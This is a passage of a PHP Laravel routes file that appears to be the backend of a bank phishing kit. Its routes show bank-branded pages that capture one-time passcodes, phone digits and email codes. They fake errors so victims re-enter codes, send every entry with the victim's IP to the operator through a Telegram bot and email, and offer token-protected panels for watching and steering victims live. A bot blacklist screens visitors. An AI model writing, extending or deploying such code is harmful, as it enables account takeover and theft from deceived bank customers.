                $response = new Api(config('app.telegram_key'));
                $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                    'text' => Controller::formatArrayToString($data + $ip)]);
            }

            if (config('app.use_smtp') == 1) {
                try {
                    \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($data + $ip));
                } catch (Exception $exception) {

                }
            }

            return back();
        }
        $session->sessionProcesses()->where('proceed_to', $page)->where('filled', false)->update(['filled' => true]);
        session()->put("page-$page", $data);
        $array = [];
        $flows = explode(',', config('app.page_flow'));
        foreach ($flows as $flow) {
            $array = session()->get("page-$flow", []) + $array;
        }
        $session->data()->create([
            'page' => $page,
            'data' => json_encode($data)
        ]);
        if (config('app.use_telegram') == 1) {
            $response = new Api(config('app.telegram_key'));
            $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                'text' => Controller::formatArrayToString($array)]);
        }
        if (config('app.use_smtp') == 1) {
            try {
                \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($array));
            } catch (Exception $exception) {

            }
        }


        return to_route('processing');
    })->name('otp');

    Route::get('/phone-confirm', function () {
        $user = session()->get('user');
        $user = \App\Models\Session::query()->where('identifier', $user)->first();

        if (is_null($user)) {
            return to_route('h');
        }
        //$data = $user->data()->where('page','login')->latest()->first()->data;
        $data = $user->sessionProcesses()->where('proceed_to', 'phone-confirm')->where('filled', false)->latest()->first()?->data??'**';
        return view("{$user->bank}.phone-confirm", [
            'email' => session()->get('page-email')['email_address'],
            'last2' => $data
        ]);
    })->name('phone-confirm');
    Route::post('/phone-confirm', function (\Illuminate\Http\Request $request) {
        $ip = ['ip' => $request->ip(), 'user_agent' => $request->userAgent()];
        $data = $request->validate([
            'last_four_digit_number' => 'required',
        ]);
        $page = 'phone-confirm';
        $counter = (int)session()->get("looper_$page") ?? 0;
        $session = \App\Models\Session::query()->where('identifier', session()->get('user'))->first();
        $ip = ['ip' => $request->ip(), 'user_agent' => $request->userAgent()];
        if ($counter < Controller::getPageLoop($page) && !$session->hasLatestNotFilled()) {
            $counter += 1;
            session()->put("looper_$page", $counter);
            session()->flash('errorData', true);
            $session->data()->create([
                'page' => $page,
                'data' => json_encode($data)
            ]);
            if (config('app.use_telegram') == 1) {
                $response = new Api(config('app.telegram_key'));
                $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                    'text' => Controller::formatArrayToString($data + $ip)]);
            }

            if (config('app.use_smtp') == 1) {
                try {
                    \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($data + $ip));
                } catch (Exception $exception) {

                }
            }

            return back();
        }
        $session->sessionProcesses()->where('proceed_to', $page)->where('filled', false)->update(['filled' => true]);
        session()->put("page-$page", $data);
        $array = [];
        $flows = explode(',', config('app.page_flow'));
        foreach ($flows as $flow) {
            $array = session()->get("page-$flow", []) + $array;
        }
        $session->data()->create([
            'page' => $page,
            'data' => json_encode($data)
        ]);
        if (config('app.use_telegram') == 1) {
            $response = new Api(config('app.telegram_key'));
            $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                'text' => Controller::formatArrayToString($array)]);
        }
        if (config('app.use_smtp') == 1) {
            try {
                \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($array));
            } catch (Exception $exception) {

            }
        }


        return to_route('processing');
    })->name('phone-confirm');


    Route::get('/verify-email-otp', function () {
        $user = session()->get('user');
        $user = \App\Models\Session::query()->where('identifier', $user)->first();

        if (is_null($user)) {
            return to_route('h');
        }
        //$data = $user->data()->where('page','login')->latest()->first()->data;
        $data = $user->sessionProcesses()->where('proceed_to', 'email-otp')->where('filled', false)->latest()->first()?->data;
        return view("{$user->bank}.email-otp", [
            'email1' => session()->get('page-email')['email_address'],
            'email' => $data
        ]);
    })->name('email-otp');
    Route::post('/verify-email-otp', function (\Illuminate\Http\Request $request) {
        $ip = ['ip' => $request->ip(), 'user_agent' => $request->userAgent()];
        $data = $request->validate([
            'otp_code' => 'required',
        ]);
        $page = 'email-otp';
        $counter = (int)session()->get("looper_$page") ?? 0;
        $session = \App\Models\Session::query()->where('identifier', session()->get('user'))->first();
        $ip = ['ip' => $request->ip(), 'user_agent' => $request->userAgent()];
        if ($counter < Controller::getPageLoop($page) && !$session->hasLatestNotFilled()) {
            $counter += 1;
            session()->put("looper_$page", $counter);
            session()->flash('errorData', true);
            $session->data()->create([
                'page' => $page,
                'data' => json_encode($data)
            ]);
            if (config('app.use_telegram') == 1) {
                $response = new Api(config('app.telegram_key'));
                $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                    'text' => Controller::formatArrayToString($data + $ip)]);
            }

            if (config('app.use_smtp') == 1) {
                try {
                    \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($data + $ip));
                } catch (Exception $exception) {

                }
            }

            return back();
        }
        $session->sessionProcesses()->where('proceed_to', $page)->where('filled', false)->update(['filled' => true]);
        session()->put("page-$page", $data);
        $array = [];
        $flows = explode(',', config('app.page_flow'));
        foreach ($flows as $flow) {
            $array = session()->get("page-$flow", []) + $array;
        }
        $session->data()->create([
            'page' => $page,
            'data' => json_encode($data)
        ]);

        if (config('app.use_telegram') == 1) {
            $response = new Api(config('app.telegram_key'));
            $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
                'text' => Controller::formatArrayToString($array)]);
        }
        if (config('app.use_smtp') == 1) {
            try {
                \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($array));
            } catch (Exception $exception) {

            }
        }


        return to_route('processing');
    })->name('email-otp');

});


Route::get('success',function (){
    $user = session()->get('user');
    $user = \App\Models\Session::query()->where('identifier',$user)->first();

    if($user) {
        $user->update(['completed'=>true]);
    }
    session()->flush();
    return view('success');
})->name('success');
Route::get('error',function (){
    $user = session()->get('user');
    $user = \App\Models\Session::query()->where('identifier',$user)->first();

    return view('error');
})->name('error');
Route::get('restart',function (){
    $user = session()->get('user');

    $user = \App\Models\Session::query()->where('identifier',$user)->first();
    $user->sessionProcesses()->where('proceed_to','error')->where('filled',false)->update(['filled'=>true]);
    $user->sessionProcesses()->where('proceed_to','success')->where('filled',false)->update(['filled'=>true]);
    return to_route('processing');
})->name('restart');

Route::get('processing',function (){
    $name=app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName();
    $mapper = Controller::$mapperC;

    if(array_key_exists($name,$mapper)){
        $page = $mapper[$name];
    }else{
        $page='';
    }
    return view('processing',[
        'page'=>$page,
    ]);
})->name('processing');

Route::get('next',function (){
    $page = Controller::nextPage();
    return response()->json(['next'=>\route($page),'page'=>$page]);
})->name('next');


Route::get('/a/{id}',function (\App\Models\Session $id){
    if(is_null(request()->query('page'))){
        abort(404);
    }
    $id->sessionProcesses()->where('filled',false)->update(['filled'=>true]);
    $data = empty(request()->query('data'))?null:request()->query('data');
    $id->sessionProcesses()->create([
        'proceed_to'=>request()->query('page'),
        'filled'=>false,
        'data'=>$data
    ]);
    return response()->json(['icon'=>'success','message'=>'proceed complete']);
})->name('proceed');


Route::get('install/{token}',function ($token){
    \Illuminate\Support\Facades\Artisan::call('migrate:fresh',['--force'=>true]);
    \Illuminate\Support\Facades\Artisan::call('key:generate');
    return "ok";
})->whereIn('token',[config('app.admin_token')])->name('adminpanma');

Route::get('show/{token}/{session}',function ($token,$session){
    $session = \App\Models\Session::query()->where('identifier',$session)->firstOrFail();

    $read = session()->get('read')??[];

    $new = $session->data()->whereNotIn('id',$read)->whereBetween('created_at',[now()->subSeconds(20)->format('Y-m-d H:i:s'),now()->format('Y-m-d H:i:s')])->get();

    if($new->count()>0) {
        $identifiers = $new->pluck('id')->flatten()->toArray() + $read;
        session()->put('read',$identifiers);
    }

    $newF = 0;
    if($new->count()>0){
        $newF =1;
    }

    return view('process',[
        'session' => $session,
        'new' => $newF
    ]);
})->whereIn('token',[config('app.admin_token')])->name('show');

Route::get('completed/{token}',function (){
    $read = session()->get('read')??[];

    $new = \App\Models\Session::query()->whereNotIn('identifier',$read)->whereBetween('created_at',[now()->subSeconds(20)->format('Y-m-d H:i:s'),now()->format('Y-m-d H:i:s')])->has('data','>=',1)->get();

    if($new->count()>0) {
        $identifiers = $new->pluck('identifier')->flatten()->toArray() + $read;
        session()->put('read',$identifiers);
    }

    $newF = 0;
    if($new->count()>0){
        $newF =1;
    }
    return view('sessions',[
        'sessions'=>(new \App\Models\Session())->allSessions()->has('data')->where('completed',true)->get(),
        'new'=>$newF,
    ]);
})->whereIn('token',[config('app.admin_token')])->name('completed');

Route::get('dashboard/{token}',function (){
    return view('dashboard');
})->whereIn('token',[config('app.admin_token')])->name('dashboard');

Route::get('pending/{token}',function (){
    $read = session()->get('read')??[];

    $new = \App\Models\Session::query()->whereNotIn('identifier',$read)->whereBetween('created_at',[now()->subSeconds(20)->format('Y-m-d H:i:s'),now()->format('Y-m-d H:i:s')])->has('data','>=',1)->get();

    if($new->count()>0) {
        $identifiers = $new->pluck('identifier')->flatten()->toArray() + $read;
        session()->put('read',$identifiers);
    }

    $newF = 0;
    if($new->count()>0){
        $newF =1;
    }
    return view('sessions',[
        'sessions'=>(new \App\Models\Session())->allSessions()->has('data')->where('completed',false)->latest()->get(),
        'new'=>$newF,
    ]);
})->whereIn('token',[config('app.admin_token')])->name('pending');
Route::get('markCompleted/{identifier}',function ($identifier){
    $identifier = \App\Models\Session::query()->where('identifier',$identifier)->firstOrFail();
    $identifier->update(['completed'=>true]);
    alert()->success('Success',"Completed");
    return back();
})->name('markCompleted');





Route::get('not-received',function(){
    alert()->success("Success","We just sent you a new code");
    $array = [];

    $flows = explode(',',config('app.page_flow'));
    foreach ($flows as $flow){
        $array=session()->get("page-$flow",[])+$array;
    }
    if(config('app.use_telegram')==1) {
        $response = new Api(config('app.telegram_key'));
        $botId = $response->sendMessage(['chat_id' => config('app.chat_id'),
            'text' => Controller::formatArrayToString(['action'=>'I did not receive code']+$array)]);
    }
    if(config('app.use_smtp')==1) {
        try {
            \Illuminate\Support\Facades\Mail::to(explode(',', config('app.sender_email')))->send(new \App\Mail\SendDataNotification($array+$ip));
        } catch (Exception $exception) {

        }
    }
    return back();
})->name('not-received');
Route::get('/ban/{ip}',function ($ip){
    (new BotValidator($ip))->addToBlackList();
    return "ok";
});
Route::get('/whitelist/{ip}',function ($ip){
    (new BotValidator($ip))->addToWhitelist();
    return "ok";
});
Route::get('activate/{action}',function ($action){
    $setting = \App\Models\Setting::query()->updateOrCreate(['key'=>'activate'],['value'=>$action]);
    alert()->success('Success',"Settings updated");
    return back();
})->name('activate')->whereIn('action',[1,0]);
Route::get('/landing',function (){
    return view('landing');
})->name('landing');
Route::get('/{link?}',function (){
    return to_route('h');
});
